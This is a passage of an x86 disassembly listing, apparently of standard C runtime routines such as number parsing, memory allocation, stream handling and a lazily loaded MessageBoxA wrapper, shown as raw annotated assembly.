loc_420EDC:				; CODE XREF: sub_420E98+2Fj
		mov	ecx, off_4395A0
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420F39
		mov	eax, dword_4397AC
		cmp	eax, 1
		jle	short loc_420F20
		cmp	[ebp+arg_8], eax
		jl	short loc_420F2A
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_48A0B8
		nop
		call	near ptr 2620000h
		test	eax, eax
		mov	eax, dword_4397AC
		jnz	short loc_420EBD


loc_420F20:				; CODE XREF: sub_420E98+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_420F2A
		cmp	[esi+1], bl
		jnz	short loc_420EBD


loc_420F2A:				; CODE XREF: sub_420E98+61j
					; sub_420E98+8Bj ...
		mov	dword_48A014, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_420EBD
; ---------------------------------------------------------------------------


loc_420F39:				; CODE XREF: sub_420E98+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_48A0B8
		nop
		call	near ptr 2620000h
		test	eax, eax
		jnz	loc_420ED7
		jmp	short loc_420F2A
sub_420E98	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F60	proc near		; CODE XREF: sub_41D797+76p
					; sub_41D797+88p ...

arg_0		= dword	ptr  4

		cmp	dword_4397AC, 1
		jle	short loc_420F77
		push	8
		push	[esp+4+arg_0]
		call	sub_41A642
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_420F77:				; CODE XREF: sub_420F60+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_4395A0
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_420F60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_420F90	proc near		; CODE XREF: sub_41D797+797p
					; sub_41D797+7E7p
		cmp	cl, 40h
		jnb	short loc_420FAA
		cmp	cl, 20h
		jnb	short loc_420FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_420FA0:				; CODE XREF: sub_420F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_420FAA:				; CODE XREF: sub_420F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_420F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_420FAF	proc near		; CODE XREF: sub_41E20D+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_420FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_420FCD
		test	al, 80h
		jz	short loc_420FFB
		test	al, 2
		jnz	short loc_420FFB


loc_420FCD:				; CODE XREF: sub_420FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_420FDA
		push	esi
		call	sub_41F9D8
		pop	ecx


loc_420FDA:				; CODE XREF: sub_420FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_420FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_420FFB
		inc	eax
		mov	[esi], eax


loc_420FEA:				; CODE XREF: sub_420FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_421001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_421007
		inc	eax
		mov	[esi], eax


loc_420FFB:				; CODE XREF: sub_420FAF+9j
					; sub_420FAF+18j ...
		or	eax, 0FFFFFFFFh


loc_420FFE:				; CODE XREF: sub_420FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_421001:				; CODE XREF: sub_420FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_421007:				; CODE XREF: sub_420FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_420FFE
sub_420FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42101D	proc near		; CODE XREF: ___:0041F15Ap

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_42102E
		add	esp, 0Ch
		retn
sub_42101D	endp


; =============== S U B	R O U T	I N E =======================================



sub_42102E	proc near		; CODE XREF: sub_42101D+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_48B561[eax], cl
		jnz	short loc_42105B
		cmp	[esp+arg_4], 0
		jz	short loc_421054
		movzx	eax, word_4395AA[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_421056
; ---------------------------------------------------------------------------


loc_421054:				; CODE XREF: sub_42102E+16j
		xor	eax, eax


loc_421056:				; CODE XREF: sub_42102E+24j
		test	eax, eax
		jnz	short loc_42105B
		retn
; ---------------------------------------------------------------------------


loc_42105B:				; CODE XREF: sub_42102E+Fj
					; sub_42102E+2Aj
		push	1
		pop	eax
		retn
sub_42102E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42105F	proc near		; CODE XREF: sub_41F885+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_48A2DC, ebx
		push	esi
		push	edi
		jnz	short loc_4210AE
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26F06EAh
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4210E4
		mov	esi, dword_4240DC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_48A2DC, eax
		jz	short loc_4210E4
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_48A2E0, eax
		call	esi
		mov	dword_48A2E4, eax


loc_4210AE:				; CODE XREF: sub_42105F+Bj
		mov	eax, dword_48A2E0
		test	eax, eax
		jz	short loc_4210CD
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4210CD
		mov	eax, dword_48A2E4
		test	eax, eax
		jz	short loc_4210CD
		push	ebx
		call	eax
		mov	ebx, eax


loc_4210CD:				; CODE XREF: sub_42105F+56j
					; sub_42105F+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_48A2DC


loc_4210E0:				; CODE XREF: sub_42105F+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4210E4:				; CODE XREF: sub_42105F+1Cj
					; sub_42105F+33j
		xor	eax, eax
		jmp	short loc_4210E0
sub_42105F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210E8	proc near		; CODE XREF: sub_41FA42+22p
					; sub_41FA42+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_421109
		test	esi, esi
		jnz	short loc_421103
		push	1
		pop	esi


loc_421103:				; CODE XREF: sub_4210E8+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_421109:				; CODE XREF: sub_4210E8+12j
					; sub_4210E8+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_421168
		mov	eax, dword_48B688
		cmp	eax, 3
		jnz	short loc_421134
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_48B680
		ja	short loc_421153
		push	eax
		call	sub_41B0DD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_42117E
		jmp	short loc_421153
; ---------------------------------------------------------------------------


loc_421134:				; CODE XREF: sub_4210E8+30j
		cmp	eax, 2
		jnz	short loc_421153
		cmp	esi, dword_43B7E4
		ja	short loc_421153
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41BB80
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_421192


loc_421153:				; CODE XREF: sub_4210E8+3Bj
					; sub_4210E8+4Aj ...
		push	esi
		push	8
		push	dword_48B684
		call	near ptr 2710000h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_42118C


loc_421168:				; CODE XREF: sub_4210E8+26j
		cmp	dword_48A074, 0
		jz	short loc_42118C
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jz	short loc_421195
		jmp	short loc_421109
; ---------------------------------------------------------------------------


loc_42117E:				; CODE XREF: sub_4210E8+48j
		push	[ebp+arg_0]


loc_421181:				; CODE XREF: sub_4210E8+ABj
		push	0
		push	edi
		call	sub_417330
		add	esp, 0Ch


loc_42118C:				; CODE XREF: sub_4210E8+7Ej
					; sub_4210E8+87j
		mov	eax, edi


loc_42118E:				; CODE XREF: sub_4210E8+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421192:				; CODE XREF: sub_4210E8+69j
		push	esi
		jmp	short loc_421181
; ---------------------------------------------------------------------------


loc_421195:				; CODE XREF: sub_4210E8+92j
		xor	eax, eax
		jmp	short loc_42118E
sub_4210E8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41FAE7


loc_421199:				; CODE XREF: sub_41FAE7+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_48B320, esi
		jle	short loc_4211EC


loc_4211A8:				; CODE XREF: sub_41FAE7+1703j
		mov	eax, dword_48A310
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4211E3
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_4211C7
		push	eax
		call	sub_417900
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4211C7
		inc	edi


loc_4211C7:				; CODE XREF: sub_41FAE7+16D1j
					; sub_41FAE7+16DDj
		cmp	esi, 14h
		jl	short loc_4211E3
		mov	eax, dword_48A310
		push	dword ptr [eax+esi*4]
		call	sub_417C3B
		mov	eax, dword_48A310
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_4211E3:				; CODE XREF: sub_41FAE7+16CBj
					; sub_41FAE7+16E3j
		inc	esi
		cmp	esi, dword_48B320
		jl	short loc_4211A8


loc_4211EC:				; CODE XREF: sub_41FAE7+16BFj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_41FAE7

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4211F1	proc near		; CODE XREF: sub_41FEC6+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_417B30
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_48B440
		jnb	loc_421326
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_48B340[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_421326
		push	1
		push	esi
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_421330
		push	2
		push	esi
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_421330
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_4212D3
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_417330
		push	8000h
		push	ebx
		call	sub_421E2B
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_421287:				; CODE XREF: sub_4211F1+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_421292
		mov	eax, edi


loc_421292:				; CODE XREF: sub_4211F1+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_41ED97
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4212B0
		sub	edi, eax
		test	edi, edi
		jle	short loc_4212C6
		jmp	short loc_421287
; ---------------------------------------------------------------------------


loc_4212B0:				; CODE XREF: sub_4211F1+B5j
		cmp	dword_48A018, 5
		jnz	short loc_4212C3
		mov	dword_48A014, 0Dh


loc_4212C3:				; CODE XREF: sub_4211F1+C6j
		or	esi, 0FFFFFFFFh


loc_4212C6:				; CODE XREF: sub_4211F1+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_421E2B
		pop	ecx
		pop	ecx
		jmp	short loc_421313
; ---------------------------------------------------------------------------


loc_4212D3:				; CODE XREF: sub_4211F1+71j
		jge	short loc_421313
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_41E517
		push	ebx
		call	sub_41FE32
		add	esp, 10h
		push	eax
		nop
		call	near ptr 25B0000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_421313
		mov	dword_48A014, 0Dh
		nop
		call	near ptr 2650BAEh
		mov	dword_48A018, eax


loc_421313:				; CODE XREF: sub_4211F1+E0j
					; sub_4211F1:loc_4212D3j ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_421333
; ---------------------------------------------------------------------------


loc_421326:				; CODE XREF: sub_4211F1+1Aj
					; sub_4211F1+36j
		mov	dword_48A014, 9


loc_421330:				; CODE XREF: sub_4211F1+4Ej
					; sub_4211F1+63j
		or	eax, 0FFFFFFFFh


loc_421333:				; CODE XREF: sub_4211F1+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_4211F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_421337	proc near		; CODE XREF: sub_420331+2Bp
					; sub_420331+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_42134D
		cmp	ecx, esi
		jnb	short loc_421350


loc_42134D:				; CODE XREF: sub_421337+10j
		push	1
		pop	eax


loc_421350:				; CODE XREF: sub_421337+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_421337	endp


; =============== S U B	R O U T	I N E =======================================



sub_421358	proc near		; CODE XREF: sub_421411+40p
					; sub_421411+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42138A
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42138A
		inc	dword ptr [esi+8]


loc_42138A:				; CODE XREF: sub_421358+19j
					; sub_421358+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4213A2
		inc	dword ptr [esi+8]


loc_4213A2:				; CODE XREF: sub_421358+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_421337
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_421358	endp


; =============== S U B	R O U T	I N E =======================================



sub_4213B6	proc near		; CODE XREF: sub_421411+30p
					; sub_421411+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4213B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4213E4	proc near		; CODE XREF: sub_4219A9+1C8p
					; sub_421EA1+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4213E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421411	proc near		; CODE XREF: sub_4214D8+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_421485
		push	edi
		mov	[ebp+arg_8], eax


loc_421438:				; CODE XREF: sub_421411+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4213B6
		push	ebx
		call	sub_4213B6
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_421358
		push	ebx
		call	sub_4213B6
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_421358
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_421438
		xor	edx, edx
		pop	edi


loc_421485:				; CODE XREF: sub_421411+21j
					; sub_421411+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4214B2
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_421485
; ---------------------------------------------------------------------------


loc_4214B2:				; CODE XREF: sub_421411+77j
		mov	esi, 8000h


loc_4214B7:				; CODE XREF: sub_421411+B9j
		test	[ebx+8], esi
		jnz	short loc_4214CC
		push	ebx
		call	sub_4213B6
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4214B7
; ---------------------------------------------------------------------------


loc_4214CC:				; CODE XREF: sub_421411+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_421411	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4214D8	proc near		; CODE XREF: sub_42067A+17p
					; sub_4206A7+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_421513:				; CODE XREF: sub_4214D8+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_421529
		cmp	cl, 9
		jz	short loc_421529
		cmp	cl, 0Ah
		jz	short loc_421529
		cmp	cl, 0Dh
		jnz	short loc_42152C


loc_421529:				; CODE XREF: sub_4214D8+40j
					; sub_4214D8+45j ...
		inc	edi
		jmp	short loc_421513
; ---------------------------------------------------------------------------


loc_42152C:				; CODE XREF: sub_4214D8+4Fj
		push	4
		pop	esi


loc_42152F:				; CODE XREF: sub_4214D8+AEj
					; sub_4214D8+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4217B2	; default
					; jumptable 0042153B case 10
		jmp	off_421979[eax*4] ; switch jump


loc_421542:				; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 0
		jl	short loc_421553
		cmp	bl, 39h
		jg	short loc_421553


loc_42154C:				; CODE XREF: sub_4214D8+C4j
					; sub_4214D8+118j
		push	3
		jmp	loc_421770
; ---------------------------------------------------------------------------


loc_421553:				; CODE XREF: sub_4214D8+6Dj
					; sub_4214D8+72j
		cmp	bl, byte_4397B0
		jnz	short loc_421562


loc_42155B:				; CODE XREF: sub_4214D8+124j
		push	5
		jmp	loc_4217A8
; ---------------------------------------------------------------------------


loc_421562:				; CODE XREF: sub_4214D8+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_421588
		dec	eax
		dec	eax
		jz	short loc_42157C
		sub	eax, 3
		jnz	loc_42184B
		jmp	loc_42160B
; ---------------------------------------------------------------------------


loc_42157C:				; CODE XREF: sub_4214D8+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_42152F
; ---------------------------------------------------------------------------


loc_421588:				; CODE XREF: sub_4214D8+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_42152F
; ---------------------------------------------------------------------------


loc_421591:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 1
		mov	[ebp+var_10], edx
		jl	short loc_42159E
		cmp	bl, 39h
		jle	short loc_42154C


loc_42159E:				; CODE XREF: sub_4214D8+BFj
		cmp	bl, byte_4397B0
		jz	loc_421666
		cmp	bl, 2Bh
		jz	short loc_4215E0
		cmp	bl, 2Dh
		jz	short loc_4215E0
		cmp	bl, 30h
		jz	short loc_42160B


loc_4215B9:				; CODE XREF: sub_4214D8+207j
		cmp	bl, 43h
		jle	loc_42184B
		cmp	bl, 45h
		jle	short loc_4215D9
		cmp	bl, 63h
		jle	loc_42184B
		cmp	bl, 65h
		jg	loc_42184B


loc_4215D9:				; CODE XREF: sub_4214D8+EDj
		push	6
		jmp	loc_4217A8
; ---------------------------------------------------------------------------


loc_4215E0:				; CODE XREF: sub_4214D8+D5j
					; sub_4214D8+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4217A8
; ---------------------------------------------------------------------------


loc_4215E8:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 2
		jl	short loc_4215F6
		cmp	bl, 39h
		jle	loc_42154C


loc_4215F6:				; CODE XREF: sub_4214D8+113j
		cmp	bl, byte_4397B0
		jz	loc_42155B
		cmp	bl, 30h
		jnz	loc_4217C0


loc_42160B:				; CODE XREF: sub_4214D8+9Fj
					; sub_4214D8+DFj
		mov	eax, edx
		jmp	loc_42152F
; ---------------------------------------------------------------------------


loc_421612:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		mov	[ebp+var_10], edx ; jumptable 0042153B case 3


loc_421615:				; CODE XREF: sub_4214D8+184j
		cmp	dword_4397AC, edx
		jle	short loc_42162E
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_42163C
; ---------------------------------------------------------------------------


loc_42162E:				; CODE XREF: sub_4214D8+143j
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_42163C:				; CODE XREF: sub_4214D8+154j
		test	eax, eax
		jz	short loc_42165E
		cmp	[ebp+var_4], 19h
		jnb	short loc_421656
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_421659
; ---------------------------------------------------------------------------


loc_421656:				; CODE XREF: sub_4214D8+16Cj
		inc	[ebp+var_8]


loc_421659:				; CODE XREF: sub_4214D8+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421615
; ---------------------------------------------------------------------------


loc_42165E:				; CODE XREF: sub_4214D8+166j
		cmp	bl, byte_4397B0
		jnz	short loc_4216CD


loc_421666:				; CODE XREF: sub_4214D8+CCj
		mov	eax, esi
		jmp	loc_42152F
; ---------------------------------------------------------------------------


loc_42166D:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	[ebp+var_4], 0	; jumptable 0042153B case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_421686


loc_421679:				; CODE XREF: sub_4214D8+1ACj
		cmp	bl, 30h
		jnz	short loc_421686
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421679
; ---------------------------------------------------------------------------


loc_421686:				; CODE XREF: sub_4214D8+19Fj
					; sub_4214D8+1A4j ...
		cmp	dword_4397AC, edx
		jle	short loc_42169F
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4216AD
; ---------------------------------------------------------------------------


loc_42169F:				; CODE XREF: sub_4214D8+1B4j
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4216AD:				; CODE XREF: sub_4214D8+1C5j
		test	eax, eax
		jz	short loc_4216CD
		cmp	[ebp+var_4], 19h
		jnb	short loc_4216C8
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_4216C8:				; CODE XREF: sub_4214D8+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421686
; ---------------------------------------------------------------------------


loc_4216CD:				; CODE XREF: sub_4214D8+18Cj
					; sub_4214D8+1D7j
		cmp	bl, 2Bh
		jz	loc_4215E0
		cmp	bl, 2Dh
		jz	loc_4215E0
		jmp	loc_4215B9
; ---------------------------------------------------------------------------


loc_4216E4:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	dword_4397AC, edx ; jumptable 0042153B case 5
		mov	[ebp+var_24], edx
		jle	short loc_421700
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_42170E
; ---------------------------------------------------------------------------


loc_421700:				; CODE XREF: sub_4214D8+215j
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_42170E:				; CODE XREF: sub_4214D8+226j
		test	eax, eax
		jz	loc_4217C0
		mov	eax, esi
		jmp	short loc_421771
; ---------------------------------------------------------------------------


loc_42171A:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		lea	ecx, [edi-2]	; jumptable 0042153B case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_42172A
		cmp	bl, 39h
		jle	short loc_42176E


loc_42172A:				; CODE XREF: sub_4214D8+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4217A6
		dec	eax
		dec	eax
		jz	short loc_42179A
		sub	eax, 3
		jnz	loc_42184E


loc_42173F:				; CODE XREF: sub_4214D8+2A4j
		push	8
		jmp	short loc_4217A8
; ---------------------------------------------------------------------------


loc_421743:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		mov	[ebp+var_20], edx ; jumptable 0042153B case 8


loc_421746:				; CODE XREF: sub_4214D8+276j
		cmp	bl, 30h
		jnz	short loc_421750
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421746
; ---------------------------------------------------------------------------


